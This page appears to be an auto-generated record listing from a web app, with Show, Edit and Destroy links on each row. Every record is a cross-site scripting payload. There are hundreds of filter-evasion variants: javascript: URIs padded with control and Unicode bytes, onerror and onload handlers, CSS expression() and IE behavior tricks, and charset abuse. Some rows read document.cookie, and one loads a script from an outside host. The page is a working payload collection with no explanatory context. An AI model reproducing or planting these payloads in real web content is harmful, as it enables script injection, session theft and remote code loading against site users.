| ABC<div style="x:\x00expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| <a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x0Aonerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x22onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x0Bonerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x0Donerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x09onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x2Fonerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x0Conerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x00onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x27onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x20onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| "`'><script>\xEF\xBB\xBFjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x0Djavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x3Bjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x81javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x84javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE3\x80\x80javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x09javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x89javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x85javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x88javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x00javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x8Ajavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\xA8javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE1\x9A\x80javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x0Cjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x2Bjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\xAFjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x0Ajavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>-javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x7Ejavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x87javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x81\x9Fjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\xA9javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xC2\x85javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xEF\xBF\xAEjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x8Bjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x83javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xEF\xBF\xBEjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x80javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x82javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x21javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x86javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xC2\xA0javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x20javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x0Bjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x /> |
Show |
Edit |
Destroy |
| <script\x2F>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x /> |
Show |
Edit |
Destroy |
| <script\x20>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x0D>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x0A>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x00>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x0C>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x09>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x0B=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x0C=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x00=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x20=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x0D=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x0A=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)<\x00/script> |
Show |
Edit |
Destroy |
| <img src=# onerror\x3D"javascript:alert(1)" > |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x09=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <video poster=javascript:javascript:alert(1)// |
Show |
Edit |
Destroy |
| <input onblur=javascript:alert(1) autofocus><input autofocus> |
Show |
Edit |
Destroy |
| <input onfocus=javascript:alert(1) autofocus> |
Show |
Edit |
Destroy |
| <video><source onerror="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <body oninput=javascript:alert(1)><input autofocus> |
Show |
Edit |
Destroy |
| <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X |
Show |
Edit |
Destroy |
| <video onerror="javascript:javascript:alert(1)"><source> |
Show |
Edit |
Destroy |
| <form><button formaction="javascript:javascript:alert(1)">X |
Show |
Edit |
Destroy |
| <frameset onload=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math> |
Show |
Edit |
Destroy |
| <table background="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <comment><img src="</comment><img src=x onerror=javascript:alert(1))//"> |
Show |
Edit |
Destroy |
| <!--<img src="--><img src=x onerror=javascript:alert(1)//"> |
Show |
Edit |
Destroy |
| <![><img src="]><img src=x onerror=javascript:alert(1)//"> |
Show |
Edit |
Destroy |
| <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body> |
Show |
Edit |
Destroy |
| <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT> |
Show |
Edit |
Destroy |
| <style><img src="</style><img src=x onerror=javascript:alert(1)//"> |
Show |
Edit |
Destroy |
| <b <script>alert(1)</script>0 |
Show |
Edit |
Destroy |
| <div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> |
Show |
Edit |
Destroy |
| <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> |
Show |
Edit |
Destroy |
| <x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'> |
Show |
Edit |
Destroy |
| <img src="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x |
Show |
Edit |
Destroy |
| <embed src="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <image src="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <script src="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <! foo="><script>javascript:alert(1)</script>"> |
Show |
Edit |
Destroy |
| <? foo="><script>javascript:alert(1)</script>"> |
Show |
Edit |
Destroy |
| <? foo="><x foo='?><script>javascript:alert(1)</script>'>"> |
Show |
Edit |
Destroy |
| <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>"> |
Show |
Edit |
Destroy |
| </ foo="><script>javascript:alert(1)</script>"> |
Show |
Edit |
Destroy |
| <div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script> |
Show |
Edit |
Destroy |
| <img \x00src=x onerror="alert(1)"> |
Show |
Edit |
Destroy |
| <img \x47src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x11src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x12src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x47src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x10src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x13src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x32src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x11src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x47src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x47src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x34src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x00src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x39src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x10=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x09=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x32=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x13=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x11=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x12=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x00=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x47=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x09onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x10onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x11onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x12onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x13onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x09"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x11"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x10"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x00"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x12"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x32"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <a href=java |
Show |
Edit |
Destroy |
| <img src="x` `<script>javascript:alert(1)</script>"` `> |
Show |
Edit |
Destroy |
| <img src onerror /" '"= alt=javascript:alert(1)//"> |
Show |
Edit |
Destroy |
| <title onpropertychange=javascript:alert(1)></title><title title=> |
Show |
Edit |
Destroy |
| <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>"> |
Show |
Edit |
Destroy |
| <!--[if]><script>javascript:alert(1)</script --> |
Show |
Edit |
Destroy |
| <!--[if<img src=x onerror=javascript:alert(1)//]> --> |
Show |
Edit |
Destroy |
| <object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object> |
Show |
Edit |
Destroy |
| <a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X |
Show |
Edit |
Destroy |
| <link rel=stylesheet href=data:,*{x:expression(javascript:alert(1))} |
Show |
Edit |
Destroy |
| <style>@import "data:,*{x:expression(javascript:alert(1))}";</style> |
Show |
Edit |
Destroy |
| <style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style> |
Show |
Edit |
Destroy |
| <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a> |
Show |
Edit |
Destroy |
| <div style="font-family:'foo |
Show |
Edit |
Destroy |
| <// style=x:expression\28javascript:alert(1)\29> |
Show |
Edit |
Destroy |
| <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style> |
Show |
Edit |
Destroy |
| <div style="font-family:foo}color=red;">XXX |
Show |
Edit |
Destroy |
| <div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X |
Show |
Edit |
Destroy |
| <div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script> |
Show |
Edit |
Destroy |
| <div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X |
Show |
Edit |
Destroy |
| <div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style> |
Show |
Edit |
Destroy |
| <div style="background:url(/f# |
Show |
Edit |
Destroy |
| <x style="background:url('x |
Show |
Edit |
Destroy |
| <script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script> |
Show |
Edit |
Destroy |
| <script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script> |
Show |
Edit |
Destroy |
| <script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script> |
Show |
Edit |
Destroy |
| <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script> |
Show |
Edit |
Destroy |
| <meta charset="x-imap4-modified-utf7"> |
Show |
Edit |
Destroy |
| <meta charset="x-imap4-modified-utf7"> |
Show |
Edit |
Destroy |
| <meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾ |
Show |
Edit |
Destroy |
| X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` > |
Show |
Edit |
Destroy |
| 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh |
Show |
Edit |
Destroy |
| 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values= |
Show |
Edit |
Destroy |
| 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a> |
Show |
Edit |
Destroy |
| <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a> |
Show |
Edit |
Destroy |
| <a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click
data:XXX
"> |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to=" |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:javascript:alert(1)> |
Show |
Edit |
Destroy |
| <IMG SRC=`javascript:javascript:alert(1)`> |
Show |
Edit |
Destroy |
| <BODY ONLOAD=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <BODY ONLOAD=javascript:javascript:alert(1)> |
Show |
Edit |
Destroy |
| <FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET> |
Show |
Edit |
Destroy |
| <IMG SRC="jav ascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:javascript:alert(1)" |
Show |
Edit |
Destroy |
| <IMG DYNSRC="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <IMG LOWSRC="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <BGSOUND SRC="javascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <BR SIZE=" |
Show |
Edit |
Destroy |
| <STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS |
Show |
Edit |
Destroy |
| <LINK REL="stylesheet" HREF="javascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <IFRAME SRC="javascript:javascript:alert(1);"></IFRAME> |
Show |
Edit |
Destroy |
| <TABLE><TD BACKGROUND="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <TABLE BACKGROUND="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image: url(javascript:javascript:alert(1))"> |
Show |
Edit |
Destroy |
| <XSS STYLE="xss:expression(javascript:alert(1))"> |
Show |
Edit |
Destroy |
| <DIV STYLE="width:expression(javascript:alert(1));"> |
Show |
Edit |
Destroy |
| <IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))"> |
Show |
Edit |
Destroy |
| <STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A> |
Show |
Edit |
Destroy |
| <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE> |
Show |
Edit |
Destroy |
| <BASE HREF="javascript:javascript:alert(1);//"> |
Show |
Edit |
Destroy |
| <STYLE TYPE="text/javascript">javascript:alert(1);</STYLE> |
Show |
Edit |
Destroy |
| <!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]--> |
Show |
Edit |
Destroy |
| <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT> |
Show |
Edit |
Destroy |
| <body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> |
Show |
Edit |
Destroy |
| <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS |
Show |
Edit |
Destroy |
| <form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X |
Show |
Edit |
Destroy |
| <P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE> |
Show |
Edit |
Destroy |
| <meta charset= "x-imap4-modified-utf7" |
Show |
Edit |
Destroy |
| <SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT> |
Show |
Edit |
Destroy |
| <style onreadystatechange=javascript:javascript:alert(1);></style> |
Show |
Edit |
Destroy |
| <embed code=javascript:javascript:alert(1);></embed> |
Show |
Edit |
Destroy |
| <?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html> |
Show |
Edit |
Destroy |
| <frameset onload=javascript:javascript:alert(1)></frameset> |
Show |
Edit |
Destroy |
| <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml> |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <object onerror=javascript:javascript:alert(1)> |
Show |
Edit |
Destroy |
| <a href="jav |
Show |
Edit |
Destroy |
| <a href="jav |
Show |
Edit |
Destroy |
| <iframe srcdoc=" |
Show |
Edit |
Destroy |
| ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; |
Show |
Edit |
Destroy |
| alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- |
Show |
Edit |
Destroy |
| ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
Show |
Edit |
Destroy |
| '';!--"<XSS>= |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert('XSS')> |
Show |
Edit |
Destroy |
| <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <IMG SRC=JaVaScRiPt:alert('XSS')> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert("XSS")> |
Show |
Edit |
Destroy |
| <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> |
Show |
Edit |
Destroy |
| <a onmouseover="alert(document.cookie)">xxs link</a> |
Show |
Edit |
Destroy |
| <a onmouseover=alert(document.cookie)>xxs link</a> |
Show |
Edit |
